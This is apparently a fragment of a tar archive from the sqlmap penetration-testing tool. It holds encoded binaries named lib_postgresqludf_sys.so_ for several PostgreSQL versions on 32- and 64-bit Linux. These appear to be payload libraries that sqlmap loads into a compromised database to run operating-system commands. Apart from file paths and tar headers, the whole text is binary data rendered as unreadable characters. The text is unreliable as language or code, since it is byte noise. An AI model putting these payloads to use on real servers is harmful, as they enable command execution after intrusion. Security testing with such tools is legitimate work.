yzͱndR?uXz2过ؑdhJT<-1;:'V`S -yPZ ,ESV7B5ONF<@4_Cp ֍-/eb5S[kURޯol|4մ%mÑđALvŴ #? č9?c.rk *74Ȑ-]'v3 |ʹ\xay$Ii!f>..kϤEZX$Vp۹"ɣƁ49GVZPCw<,lL!'d-zWt1f뙢@-,NB9H?gO"SPtYž갮,"nVьE،}s>wJ&ZZ@bDqĎ  qD)j쵍54"{?a/"O ]yiJHt#صJG`e#%dX"SNW^$qݡua9E!g>ˋ ,%սBcqK?B7b&3G62jd>T+t M->GsDmWGT@ yiv}Ғec`tO [\R j M.V~3~Nܻ{ (B#&5sFwsR/ӅH&nd5h(%LXW1_yMB:w|XŐePrKPG+'S؆$MD'Iр~M] Y̿zD)Z2s2<;s#[p{r W\"b(L s~ƨstVD72v`Ce`A)L Hw4^o) zK?@HF_ޖ vDz"{?Q^b@_[r% _'U„iiLB rs`i+u]׳GRY0Q#<!$E"1+)Ci/f!0R/}s_V_^}*qjM%s9ٓ;}W&W~i'6 "e~@jk] p_}=/_vQ$#_s 6yfK1q .TgFH\<4.8P0@5՚V#cerˇZ!. vw)%K s(4eYd'=`j#H&02,$8(l)q]9,s CB!H5epq/f?5M.Վy"UP-ЖdaQm ў$ȉ < 9GVWp.^j<#r%0Dd306@чRuo6 ֬ :(ܚ:Al28Y.}EfNX` I G7Ġm1p!Z\mߎެ1Zz{)*93Pp0Ѐa3wjRxF62R8:%"~ˆF`BÆ^ݑ$ PBUJGh:3yK'tj.$g`Tk]{Ed5'_OQ/+\L}))].P%- ^Қ>#!Qv[e`ijÍ8hL_8qRj tX_A`%?V\nHPBC}7`j#)U]7U'y1n&0BcZF&u$lS5(LG yq4`Yt1\gCJWe@^,`oڱ\5ϱ3ϒֹ}'·9r'ļx6'~_%ma{} }Q>^/f6&?3o<ۃ DuUC0)tvVM5e߼_x :zS⻮o])y&'jj }d8xkQ;*%smďG)M/$6T́OW'кF!j5a /6Py>R]lr.N!iɲ%ōF6 C nz{frNi6:QN/ÁZ&Ea/?y7BuS9 sY` kM9zo%.6uZk SΙa@f!#EP݌rʾc<"Oq"HuALˣ0'T&457Ž?2|O{ɐc%V PJgY2T9w|MΘR^ ;Ƴ[]ô-ǩ}\d[v#b@B R, @qNvȿs}IZx ue5+nb)5ᤈyiH'pʟ_d k"J-qWBSΒ]SQiO9jIɇ~kE?ۚr|H}R|oua ]r-":%FENme uODN{b 'H|q@Z&8R;.z E,1;Ǘ.+BYx?Tб[8XT= $mp]);Y^?I?VcZ#[G139OVPANXNt2m 8Mh u0P̮4>d4 LXt(:η%YW]"rzTdO%0A5&>QC?nȵ%ݧ1ṁ70fF'8/$xQd6PJf]Q=H)Vt㳇=uꋺi˥ּ"%MO\L;6">2yz/_ %>!L4RX0)'i(lv9i. {MQ";Q5Sʅ=b4ǘMe6?niZ1 ao-N"\7y9^ˤ{؜(֘^_S?sX(3gRzbvM$f}:M pQA[pV&NVf휝)ͯX(rY/ʴ%2S>`-4AF_8ښu( 1F \7Av aQ78 LO@mnwV8;i$Y'wkJl;@506bI&+9gtx0@NPEI#lvL!xesV֝v%Vsv#) սF_XyDu8|c$ο rWY63ɑPZ/s- aåZ4Nꪑfb6z"Ql~Ʀכs]=ܗvn,f5A]OVv[Ch2NXXB*bT)lsqlmap-1.9.6/data/udf/postgresql/linux/32/9.1/000077500000000000000000000000001502261744200206135ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_000066400000000000000000000051341502261744200257460ustar00rootroot00000000000000= o:;%4\\-0cZ}v"a.OfDzk_ʹ_^6 4_`2U1mSqdX>ŠFLusVTj H7L#Ɩ<>4>xѩLف\_|ҡ">b{}1,cD{4 fW1$!Av$'~2}4O  RJpRոkDK\:@2b -xj!s;EGPw?гx 6 ˷dXyvN ^sg.JB`{HV?(:2%%/C5 :cokdP@M?ģtr/UY|`Qݙ}ɸT&"/+$f0IR5+%7C2D8^'=`eLtŇ~N[ 1YrmZ n&[d}RYT=1e%Ι'u |)/maٙ~px5&gRi;A}T>pEIP_d\}+r׃vSf)Ti:Οw_ODۭ xd5,l+@!Oʣ;Cp.]Mk4rO|c)V6Hy _-\*]TwGJ/-Ȧ1*a^Cr{x"9/췄&k7 ݯ]Q\g_Y~VsDa mF:"E P|{5~ݦ S"0k Ѵ^0aE;@8Sx{lZiI9Q -Oy 6*9zC\ sz4iXɩ,2DN ؁ 䄮@1>;_89>]twIHlƫ(d4" *ܕXW_=d0ۻڼ@qTi Q8| CKO kW|S&jYYy|'zad*)C[$hh4;*߮šXNJ&ͤǾl_Tb|/pZI@k.&‹OLɔN)= (eƒl$lZ>=fqw 14W=`^q8Rv:IIP󚆐fzlHWY/PǯKP@M%YM7z|D]Io|.yqC!BdQOelJAW&v46G}{ﵞ*ɻmL0Y?0@ގ(W;r^^Nr϶ڴe`Kv,x 0$M՚Z*?|@HnxSbVЏC5l} 4%d>ИXNp3Wx^ѩ5]rݦe"q)24Zy ڇNXf  6+ 7 yEb3i<>A9<@T}W\;^&ųj̳%$6<enlk Qjbw,8&d=*:sܶK|CM*j4N X3׮ =(ofΨO 3Oduj4|h{ ܤЅtqrN:.USFŠFLusVTj H7L#Ɩ<>4>xѩLف\_|ҡ">b{}1,cD{4 fW1$!Av$'~2}4O  RJpRոkDK\:@2b -xj!s;EGPw?гx 6 ˷dXyvN ^sg.JB`{HV?(:2%%/C5 :cokdP@M?ģtr/UY|`Qݙ}ɸT&"/+$f0IR5+%7C2D8^'=`eLtŇ~N[ 1YrmZ n&[d}RYT=1e%Ι'u |)/maٙ~px5&gRi;A}T>pEIP_d\}+r׃vSf)Ti:Οw_ODۭ xd5,l+@!Oʣ;Cp.]Mk4rO|c)V6Hy _-\*]TwGJ/-Ȧ1*a^Cr{x"9/췄&k7 ݯ]Q\g_Y~VsDa mF:"E P|{5~ݦ S"0k Ѵ^0aE;@8Sx{lZiI9Q -Oy 6*9zC\ sz4iXɩ,2DN ؁ 䄮@1>;_89>]twIHlƫ(d4" *ܕXW_=d0ۻڼ@qTi Q8| CKO kW|S&jYYy|'zad*)C[$hh4;*߮šXNJ&ͤǾl_Tb|/pZI@k.&‹OLɔN)= (eƒl$lZ>=fqw 14W=`^q8Rv:IIP󚆐fzlHWY/PǯKP@M%YM7z|D]Io|.yiC!BdQOelJAW&v46G}{ﵞ*ɻmL0Y?0@ގ(W;r^^Nr϶ڴe`Kv,x 0$M՚Z*?|@HnxSbVЏC5l} 4%d>ИXNp3Wx^ѩ5]rݦe"q)24Zy ڇNXf  6+ 7 yEb3i<>A9<@T}W\;^&ųj̳%$6<enlk Qjbw,8&d=*:sܶK|CM*j4N X3׮ =(ofΨO 3Oduj4|h{ ܤЅtqrN:.USF[&^FS Hrh4N*ݰTl[{d>7hJ3cvb.ϟ75%y HQ(Sg]ȬǏ6 v&ehⱍAf+#vj@j–U}Jh_TЁ?lfs\&?A.nG3y;kô bzʇODcH:yȀȾ>BZ-feVZEb kɟoGNY"o< ¸m);LNgW_~FvWz>"粦$ ؇;<)SF&Ob'3.>wk\4?L\#aB(0bY+varD}d.(}`n(G'0}c?ĉR/].ڋ DyO+t¡jH蛄.=xvĒ ٩ pO[ޛ:iK@Q2!>"+@9ǚ4Yh]vY-Y[mH; *uQ*SCx f*I! m[b6i?dvXM@X;N S(|%Yk 9}+/dv?Fs>zymC˹:;mrAs+ 4Sp\2h %-wsGJ/=Ȧ1*a^Cr{x*9/&k7 ݯ]Q\W_Y~VsDa mF:"E P|{5~ݦ S"0k Ѵ^0aE;@8Sx{lZiI9Q -O 6*FzC\ s4{iXɩ,2DN ؁ 䄮@1>;_89>]twIHƫ(d4" *ܥǣXW_=d\0ۻڼCqTi Q8| CKO ,f7jl:v3xd3@ 2fFHJp A wX}<ڎ0T;C< [6vD'5,̝#iPrgv崽zš wx. &<, ` ȹnAlՄ(ikC̕=ȡiF;ه 4Iϗ g+Q1;1ڒ#0P*1u7Z$$zE3dJ4RX::WjtUY;^UXQ$ޑz-\(6)B+ɐMa $,e<)E욅{|+)zҝx459mJ kMO4ҺBXJ\8!COC{3a1pZk@p _V9$ )ʫV[e8 MCQiZn-ȁӪZYle{0Y1z $kW|S&jYXy|''u{ad*)C[$hh4;*߮šXNJ&ͤǾl_Tb|+pZI@k.&‹OƔN)= +eƒl$lZ>=fpw 1)V=`^q8Rv:IIP󚆐fzlHWY/PǯKP@M%YM5z|D]Io|.yyC!BdQOelJAW&v46G}{ﵞ*ͻm|0Y?0@ގ(W;r.^Nr϶ڴe`Kv,x 0$M՚Z*?|@XnxSbWЏC*5u,E֝{m 6ye9k-8(+GJß><ʬ&%Mћ8}1{'}IfJ|O=M]:]yH H&4aF:qMId-X֖O)l%^!#Xǎv}kWč صqjXo|pX24kI?\VVZ[ZCI )&@mdHlv3ei}_DPN"ʆBЗDm<sqlmap-1.9.6/data/udf/postgresql/linux/32/9.4/000077500000000000000000000000001502261744200206165ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_000066400000000000000000000051341502261744200257510ustar00rootroot00000000000000= o:;%4\\-0cZ}v"a.OfDzk_ʹ_^6 4_`2U1mSqdX>ŠFLusVTj H7L#Ɩ<>4>xѩLف\_|ҡ">b{}1,cD{4 fW1$!Av$'~2}4O  RJpRոkDK\:@2b -xj!s;EGPw?гx 6 ˷dXyvN ^sg.JB`{HV?(:2%%/C5 :cokdP@M?ģtr/UY|`Qݙ}ɸT&"/+$f0IR5+%7C2D8^'=`eLtŇ~N[ 1YrmZ n&[d}RYT=1e%Ι'u |)/maٙ~px5&gRi;A}T>pEIP_d\}+r׃vSf)Ti:Οw_ODۭ xd5,l+@!Oʣ;Cp.]Mk4rO|c)V6Hy _-\*]TwGJ/-Ȧ1*a^Cr{x"9/췄&k7 ݯ]Q\g_Y~VsDa mF:"E P|{5~ݦ S"0k Ѵ^0aE;@8Sx{lZiI9Q -Oy 6*9zC\ sz4iXɩ,2DN ؁ 䄮@1>;_89>]twIHlƫ(d4" *ܕXW_=d0ۻڼ@qTi Q8| CKO kW|S&jYYy|'zad*)C[$hh4;*߮šXNJ&ͤǾl_Tb|/pZI@k.&‹OLɔN)= (eƒl$lZ>=fqw 14W=`^q8Rv:IIP󚆐fzlHWY/PǯKP@M%YM7z|D]Io|.yyC!BdQOelJAW&v46G}{ﵞ*ɻmL0Y?0@ގ(W;r^^Nr϶ڴe`Kv,x 0$M՚Z*?|@HnxSbVЏC5l} 4%d>ИXNp3Wx^ѩ5]rݦe"q)24Zy ڇNXf  6+ 7 yEb3i<>A9<@T}W\;^&ųj̳%$6<enlk Qjbw,8&d=*:sܶK|CM*j4N X3׮ =(ofΨO 3Oduj4|h{ ܤЅtqrN:.USFI܋C̋IN y?u3?jiwqb}F$s|7N?,yj63p \& L_06q!nT0!;o X'~|짳{zC yNUyIjjI m>CZKmC͔(K4WwQ ' QYo4Ewͺ!@qVvK(C4Ltĥzk.8n1Fj'~5>0 Xw %؄ڈXV?Z{2AgXؒGM1sj\7KAʣu;'P[]Ve4~V*JW$=UtjL]Q}|S>́-5L2w]Ӛޯ7;1m܇Im yDkWYC+4 ̉zh)s}wu;"g[w -#p7B%5 /<Sn[mP f-bJ8x?Y2a-vJVD1Dcx[өS@oHc 8A}?[#+=fYIwr]cRp}xVno0uRjhPT[g3=/5kGFn5MsBS #HU8K'6 J+iP;/ /M()?RW Hm(8 $<'{ۙV%H텏 !%U7+9I% v?r7Yt DVokމcѕlZX{'b:V83u'r$ȑzVm4:@((z3eOL6N>422!雛ʤR*2G_;^ QBhj6Kf,n-+DNKC¶ܥ(5V e}H%<;aͩ=o2{1Z%!To W~ӽ x-غ =p6*9@7.\2JYqe鞔T7DQn&a@碌goPPyV͂@^`ow;Mlf0oH/N=f75mnDuի`/wAOs..ȷ>CcwC}nw>;BN뺼[/2L\ T # mRFGN޿yf늒yLFfmNmWC}Jf[*a 6PBp>W}g|Ƚsqlmap-1.9.6/data/udf/postgresql/linux/32/9.6/000077500000000000000000000000001502261744200206205ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_000066400000000000000000000051201502261744200257460ustar00rootroot00000000000000= &{%`h D4s^ Jiʏ.:u-la>3VfL \yv(堇!ъzb9Qlp5Cs,+K1G^kFf0_0kT2{oݦgJ+aT=&oR]xM=ŨoQQNRE{V]- O]|?Rex>42&u  @aϋ.g\OTPaPM6g? *FnXMG.!Tna?WFkR4]X `$߰FmWT8i<_x+vD%ѳBQRKZcqLI]&&K^J!*0ٻDMM|gW=;:/)8˽Am{:r7-Jtj m?>gzc@h'@-@ 5)RRP ^!T^8B_ԥ-߰)~΂&x ٿEF!+IE&-E 54!OJ K }<4a 36 K2:#C 571d?վǬy+(Э%.ؽe BN!}O8ܙRSV?ƙMq"gN@§&ޜ"WUȻoI/!2SelA'l+2đ,7E:78ާ}7|LH1U=G6|'Ñwhp ^npf+Xl[ VRh̿"_9l4rOZX:t28AUv{Dhl$8Q歶z$А4hBpe$xsK:.[tcߤmڏܐP qDJx\CV q9@a(ψRY㩁1~,z}$m\e܍@XMGHtF'nE;8ù}4*_tw)͆b$Y :x1î7uҭ+򱧵*Pq~S0ȚpDZe[Q$垴=BRyrzGflIs̀<lreQ7 ل:oF$(eIuS[wCpHkTOr4ET#zڡƮCBbc[q!Ė` NL~g,5mΘ{;L%6dTh:a)~8Hng*F H818̢1X77m׏>#)eZQ81l8|MzCz6=|VA+;[|HW Z') ;hϙ|[k+[Z}?I%ex ++(.a'nϠEU\uDq{NU-s}]!xН?9Ӡg\ZѰNZi2w-d^EE*m ɽ80ӊ,@ Íly:[j_b&H=FYM>C-;l@~l ˼ƺv'|3e ZlƄWߓ2pIʡvt ~7eLHNW+,Il y&, !wV֙hpA~:{U__qvf_pѲ pLԘ\ZEv Me/]xV2j{S3yccS}4QRYQh`h Jv"^B\UJvzg5slֶCI$([.CҽePsqlmap-1.9.6/data/udf/postgresql/linux/64/000077500000000000000000000000001502261744200203115ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/linux/64/10/000077500000000000000000000000001502261744200205315ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_000066400000000000000000000051101502261744200256560ustar00rootroot00000000000000= :;)wvK5)eBzB~eNS4zX}X@=^Pf`-=:7@|q~o܀e}by'{l1`EDt녔^ߪ K_tRpӊ,Yb ^w]VǢ_X)(Qpc83Ɯr:dϔ޵os&敉&bS fŞ('~B=*d]h8fDOƵgĿ2So%^ &I`TGpv]9y6T,HRE_]Հo||Y;]{o*l#C2Ж ]IH܄1sqD NY$mf\q6R(MOuYWM|H^ΦV=^ܒq Rե?κv׉K;3 n\X[!S )L h׉}qoxwN(& A=)r2Cftw UU֟&'1OlGQ,RWB?cA*/S#~,cgoz4փXJܲPQv@(\;MBiY, f}Ij Wf> }%A}$/6R~ax*T\u3.="oqk1ij= v鄲ܭї/]# vex)nRۼ|3&ˉnjH fd4_6LHpVPjP_F5v؁6ǽc*~Wұ^뜧H.L4 9n&_ XI<;\餏Q.05 >Pmr7'mF|10 q8 y"&@+ t -N >Nmft *aI}>FG Ⱦ۟KBq7R }0gN)]rZX<#]Y#6Ii`8y>#T382w 3D cc0i'14B(wZуC+gUU=̻ۤC{ `ik_q!%:/veȍ?>*.Xǹ_'>~ѓiaD1q^{=_ygb!j%ooTpgJ%%BxZɇKS3^p^Fb[&qsM 7EUI#]=rfe1zvߣ1Qgfb́Xː9- [dE;JAIHdn|>#hBBpgƸ틐PΆr\/8 ܨsYӘY^JXU'p&l킓,gJޏUNokˤᾬ ᮆ܂h-W AX󍿢pa#̺FEh>  >؆z*%%#ݬ.N)hdm'8]ux)1ϽVr8\ȞZM ޲!az>o:z{JA`HiFH|e}³B^w&A҈˲HL :5LEDss@mG4y?rIhu& `a8Q3L ^]M9.M%bsQ}k6sDن1,uNpqפ;Pxs+n&hھgXpdomsત׍)|\C-O-g#o]f3mAھկ_N.MJ5x:^ך%TnvM5)EC"&QȘy+JAyeyԄ;r v帳„ => 'r~ tʩt(4SC4]y i0]eE!<졪{wq>/Ϲud9/ͅ LW"@w+E6vW}ӽh'D눎.J!PaYE|+!akzꋠ=Qisqlmap-1.9.6/data/udf/postgresql/linux/64/11/000077500000000000000000000000001502261744200205325ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_000066400000000000000000000051111502261744200256600ustar00rootroot00000000000000= <)v5rWr̈́]a),iEE4k'p|ƫs }`<8|{Z- )KML>o#*߉2Iȡ94z2N`yec1^r]ƠՋ23_؈i1{ᑃ8SB:LϚ&L0t.xwnt Owz=~^DWYm>F 5Nq%q72;[޵]wձ])͟[OXV?ZZ}6WI ƇIҭpNYC~%Ec#EBrKlLlHY l[: ܅I1P䚟̫i8`W |{ ɸ6 jt)FGR94q8ʯRslC@6r82k_à˥!TMӝ2!$zѓxλb>A oN2RGy~g6 s_op ނ0ypf(U>f}RRYY-l& `%Ou4DVŀJqdmgu З΂}WЁqdz3j`D8Y`0Jbx++G$"e !&.I9푢@J<`H$s,p5'_W2=i|ʎ$0玽RUѦ@ie(H\3+J3 o5S_'mK=[1Vr ӏI~i9q<%5V1\No֋ME̎?æh{huǦQ.|ɡ{©"16 O)Mdysm :`j/l5#8+^!"'h(2rEo`;CH&So֢~yXXgPe{2Y=w$B-0wGlLS ql"WgNubKG$ (MH隒#ruHBɺVhS *EjUEۛrq g?0F^c?u}z'G *Oő_Wބ+3λ .8Q%ȅp? hٛtΒw;xjSu~Zۅx- p3+FX!h~5Vèg~ϜﯺPrk 뤪P߼@Y(*B}sqlmap-1.9.6/data/udf/postgresql/linux/64/12/000077500000000000000000000000001502261744200205335ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_000066400000000000000000000062711502261744200256710ustar00rootroot00000000000000= &|-65mlZs;@zᡸ;z?ZFngF933XX!p;#?l#ÿ/}]`k}A7ܰn=>Z܅;w˿, rP[3)3;lY|:PT6>DopDpHh{ޢ˂ 똉.[%*{)zNڙ'ڛrfz+)J.*`Ց7xi˿ia?]’|= 0#l?\DJZ|KjŢz8UuPϫ*tjY9W !;Q&@31b!.Z=7ƚ,{\uT=''%M:{NpM:)Kǎg[v0 #iz2^16gsi&!گZ aZ>Uʻ:Ĝe@}DL{:oU8)Vj|liϤ+k>v ?i*04u%gPn__r  V{5ؐ}jfNbG2RDq[XґQPcz)2ϙvݩvD`s+T!dy}hpyަ|Np0Ji+:-;YJLսI Gլ|;k@EN7qdYȎs֫*>V7n"]eX^fζ:HX)8;=zQl!H̲TnwgH4;FtYP꩏τ$Oy2vՅS[N)Zl۴h]uUKe["} V/ڸVڅ(oq;/X.luJ`BLon 7pijT IlW9W}uLv7ppǔF(c]ʓ`%gpQ}0-\߹33KƬcqd&<304R~8XX`11'M97lɚT!䏜LK#FbV?ە͈ʶ'=αN3t&CDLd17y}71hߠkl^;V<-?y֨8="ݐ^ 9Qw̖$[mMF_瘊k}.FXF8O5׃0c%8JHi+|d_,B9z8ivι3ϱD38jF*mL-]3$=,ٝCͿꎡG'nY(HtI4T*gYKO,t~TR=?V5"Nyd7. eYoC"Փ%8;dPd B(yĆ+( Hbh.@!?I۪ n$чIyk/t@N#}abFnn ٱyh 'ڪP2 ǰ-ɬ帙 vk_s|8MP_LLw³;Ϳ: 1Mk;@ J5h: A@Z8˗ J]xO|7/Rr,߹oB--S3$#,"^ɑ S#e| KQ◢W%&${Tkwk`Kx7 vQ )DW%^ ) G VzW6hەWű7rqAΐ֪ ?P+Pa8͙j;X>`;4+$/z`0[,X3E/iI- ޭj7㷛cSׄճأ"W-  l>/2+t`c 6EZXtBEQv`Nl(35K5A?n_X.6KhKrGD7LȅD.#ˮ<Ş? x}Rװ-58ϙ3e.sDpưC#9Z*]ln`O˪R}#}s2Ώ-zNj}|9HDNVX}> a^;6C3g;KąؽJ+Tj,{vHZL8Rij7LM=4k]-]{41J!h?_G0fأph<>Lb|-rQX=Ii8$+WSY3ݹ=YL}h=WoH3Y/^BȷN0-@9 W8EGI(sqlmap-1.9.6/data/udf/postgresql/linux/64/8.2/000077500000000000000000000000001502261744200206205ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_000066400000000000000000000050011502261744200257440ustar00rootroot00000000000000= <%`ȋ +[8%]+rn3C=qb@HKq%\o!51Rޯ% $x$%R<ŃVֻ9ڜT>J߭2' =)E6YWn@[]Ӈ#&:V@1 UڮyiWF:]y' o3N5G˕٬EPȯJp>{̲9Ϲ)ǓZ־P`z[ y+yJ-`/tWWPN::63SWíwe 9C&}A/1c)@]w72[Jgeԭ q璑(i7+u4̹68^/$0$8!ʩ "N ΜPɬSb6mɣOϰYL PT}L)Cʹ=d[![~wv2|_X~=7b-F(+BGH*onPepMLWi\/>n89xAs}yzi2! TF*HRɸSe+v7t|N‰P^}mq Cr~~a&.G|(Gņ HB =m 髙T1ܔA_:EUNCi22-H^J獚@xy'M>+v;p={=y5y T[uzҗ,}LW\%sRrJP3-xMrqy3<A;A.䍗1RAyX5s5J^O1n{@~'Xa"W `cRV2WQ:Cu_La?mk; #2"*P+6~kh>?1ܦ%,<~<w:1q"X)s3'L@V[J܂Ѥ?(7 9yi 8jיamy8;];DQԈGv/H]bw.@c&|RH3v W}m%=| %)+ϙ6l0[L'zbwuLr3 ix^CWGN'N5^2iᒍ[Q  P@+? /'-q^)29oh" b2 V "ϻb1xe@㮝̰>by$`ȵVn?gߊ7q;Og$c\I%UT{ğKfJH臰C&c%WޥO /͖U#T"2C}H92ewz;C+ۑfg_iDOX#)is3 ,Ƕ!it=s-Ѩ|pwDSaXG6á wm{L›HԺ\,pl"AɬC؇KyH V0ĆX5gkd ёGȝqvu9uP6@{28A.wx"x&;Qϳ,RpWDSlWyx!˂al:da=J:F}nE2iʶamGJ|&~<5R_8DY4u/5 R;#bmiyIcgMeEĦAsqlmap-1.9.6/data/udf/postgresql/linux/64/8.3/000077500000000000000000000000001502261744200206215ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_000066400000000000000000000050021502261744200257460ustar00rootroot00000000000000= <%`ȫx8l!]v ["m?Chdx_s]y$!zp%ܾj p!bt7…G7ٜm+t7k>:.7C$_- 4>~,P1~@f)9X9O "m!5!b{Bb]5J(s\Fq7NŲ)qlTy!5 +?O&v:ͅv/N~G[Ot8xhՀ{[9P:3{gTth΅TݰcٌYEQ\ڊ rT !#zB_ {N[փ0Vh==g)‹uH{M]ϔWV.Ji^y[*:d[lN~< PDZ{C @ɩ1ͼyHHCEM ?Y'x[ګyR`"hC]q̜xTWuĀӡ'~5ݿ\åBANq{ c ⽃FihQdw~ڿQ*/Fp,uy:/TE0!;^]>G|8@JQ1>N \G=ע㮘rוM5,7-OW*>.&WZ$8=C3*.ތßjvj"wM;zl%e2x;v=jΏ`?J z=͉KAI,\GFK@svDsR3|id;pO@KR) 2Ԁ+ؽ}OІgk~60~;\XY˻hjGw`4ؑ;_WD#9y|-v7WPmG)RS52F8?F8jA 8>B6M0D>~"O6\iqQUb-APq6'֗6ryDźn} B2.g&4{ךtUo (ʙ])puUj\*Q_Mjce )G=^5a .Ǡh6yJѿcGtA_S%"tgz-X^pu2&z5$SpuAym' X@Ia3Eן2 Kl_!Gdqu8 'h" Xӡ?4uzj nh5eDFYYMœ> B4 nISȤ 5:6OV?vg+1]Sf!G{Qr4X]U <˹^y6%~MTHW$mаVb4}Y:qyb0z S 58[(+Y8/+jIxzKꛡW=IJJ%'qJ.eD]j1&,\̰Ndy$`41}Zp5b/Hx 2'+9Fn%4ğKcTsHihk3E Iv5a*H8E5Y%.@Kיl Y,yQueQX &'㣂*׋-} 鳆K%!"J(~-b (:ORO-Pk䍏 C-jeo}9YBwK=Wt0ĆM}<;)ji7}bnj ;Gi()oB "i(ijrW="mH7TАHu~ ]eT.Wy-"͂W.LjT4JE8^w7}-Wdwe$㝼h2խl?DE:5B2'RKoK?@wDelZE",|ac^Bِsqlmap-1.9.6/data/udf/postgresql/linux/64/8.4/000077500000000000000000000000001502261744200206225ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_000066400000000000000000000050031502261744200257500ustar00rootroot00000000000000= <%e &h3 VUnH';9sIMX˟92As[*0B`t-  _//&.mTC&6 Ď5Hq)QO =Kw=G5 8ϱ;/#>Q,JxULQ1 bO/J:QY+ V/-Giԇhֈ;̠Hȅŧ?̢W: 0~8?4r `Պ2#Q s0l*$vxw'M8YeUƦ'Sc}R֩m&u="}|)y܊CYڦع$o7LuZ35@!RU| e!MWd z!37RjK:yDsoDVA['!z;݃nD{_W@ A`IIsDkjy_,$>gI@Wbz9!b#,e+:3R’_f(nɾZ/+mǷ(ͧޤ=9^7ӈrռyo/#`2ΜG*rMN~dԕ|-EPG/L~ӟְ# EȯpvtZF2ȹA\εE*V~uyHDXn0ex;{J\!I=9%SJ#8^e [e M7x\e'5mh]r.$90++Q3%&qJ R}FJ U[(ӟlr23N9UG,eu#v:ƒhv c} d`|z vI+lm€L!+S#~OZ^NӦR%5J}1$M)ѳ=gиܵK=ԅwY1O*l!P>JYVy*j ^~:[T@{iU'zcӷU>)NP.ח#a$6怣<ރKg7^.ltqFRBI)9/ p xfhY5ZH61(S^djcX*i7]BEӃJ0}׃d)N?#JaPAu.y:h}YRʴSWV`iY{?-&ù=T9,NomT^XgFUH2Qe]V]_@Sj5E?r'fy26p]3 YUƵRv“+Ϭ«QثMqQD4+&զ,C?0jw(C Y |jRI)6RI&6;1^SHMٓ#[8XSɈ~nb' =(2"aG- frG 0l&[za2F8 Ԁ[: ~q.pp 'gVؗヽK[/-J۱I'-;2P u^ fv,2 |D#k<!.QR5p2խ|?Dz:8upC'K.H$v0Œ"ǵ{/zFsqlmap-1.9.6/data/udf/postgresql/linux/64/9.0/000077500000000000000000000000001502261744200206175ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_000066400000000000000000000051111502261744200257450ustar00rootroot00000000000000= <%ԨrYriUxrJ=jFRUGO\uUHa/}π_,0[\^p{Ea#~=˔>ʵ!*PYe bЪdT2e(;nSp'Cc^Q>Zw$.~㳁3 uMKPmTʨI$*֓P޸_<$jy}wCoqf|XJM,.}_>|vuXO'IEAxQOc{*}Dɖbժي{EKn )wjBGfưK#kP5d&(uxs v5=tX-]1hh}r-'y7-]& MT KN{Pyh2VѰ{ެ; `La!ڎPkL62'x/rDqLrGيѥ3"8^8nTNCO]6ylJ?e'fq"Q dhdLa = ][Li:$zNf @0hcc_{s T\7}g\w!4%_Ftɴ3Fzw1d'j'@jqC&`|h 8Cp+K@(͗[ֈV=Wk! AHj;AW[Ռӈ&:kJF, !?.rf$:l>b(Efc3+5+rZ {Z2 j[#+Fgre 'S0,B0R ro]A`DgYZb8/Tnt,;yReǃ;$0Bu}/bZwmQ"+x2׈9¶;BF+@{ z`Q( ELSc'[ MЌt0zD K䘲?TvP"M/JMQ!?kyLB8=y*nV]Gт#ZX @Yw@'y0*} VD'-vr^ 7Baa `~j}̡hCU,$"0n,취`t }lƂ<)PĐIALh l;UUxbw4/NAv[^&B w܄J8ɇ8NMeQʧ rUCXhd #TI~Wfp@:1<і=ٍؙ1pؿ-YmlGED/ۿ{{:FqP -՘[4!eӹFz[+َUȜsX]&Ɛ0vONfoȍ um"[?w.YɑU&|VA%fRP^'F 6 6۳i5gode%=Jz#|ۡP*( V;n3{_;_>Bڻ1:~z(>(ޭyO #qlݛj &3 )D1_(nWeš8Sk6[l:EIUG&0jAͭK}>⚠)YA+ű3-%O֌4jԚ :޾MZ?69NxN u";Y-=+N\߉ g=YMĘ\p몴Fr?!PfL\Y cGOL>G#2zX6H103-"< =FLiِ(E4OJkѻ{o0ԏ8/e 74uAu=Au؏km|NU2pW֧!^s>6Җ&؇H4#Ī׏F쉩̺4r+h]?sUN+,Kk)oVf0Y<HI}NX;f,\\HED}̹k G s3LBxH)NNeG*t"uq%фLg׺=gI|$)qHl_N^B5FD/mK|wX b֔W)fFL$)%56}kS)3 WB6\DҩXX~'ieYW|rժ_%Unҧ'T'a<0( 2٤;)-B.4MQoV;yH{)d2 Q hn2 {hfg@zI0n%ӛwVS1uz彝+շkL2Cb(}u@+"D|7m0cl1bF_G#1D%ʏm>Xj(4^-̏u<dI߾\0bjJ6~;2!r]3/m|NaL5x9%L &@sN~I9AsSF8kCA~CcWKvI95 Ҁ~ |>ISJXF s\:uP%{iYVܒΨxVATgcGz' 2jHJ2aq`O5xG64g0nx9w?7PLʚXC./MVEWd51[]A&Aj2[MIMe:Svub%7yE$&=8f掽9liu9iߪ Y]OJXKn<#{lrL G?НNˤ?O#.:[?䄂:r` {{]8,>h[{P؇ -0f/-3/gV\AX8Ɖ7ϣAI](|rDFư)숟;]ߔێlJNoN0ͬG)Jw Bަ#tdoT5D:wsqlmap-1.9.6/data/udf/postgresql/linux/64/9.2/000077500000000000000000000000001502261744200206215ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_000066400000000000000000000052051502261744200257530ustar00rootroot00000000000000= :;%4`L?wca2EuBj_z)ZpP` i|ڞx Lw1 gps Zv^INᷚы0 6flj9 x^ڎ`v9ԽkK |[ԟ)wtͳQlNR$5qp6gǍ&]nԍq&yvWu_*6򥖅Waiy ̚[,i=رּly 8GV\)d 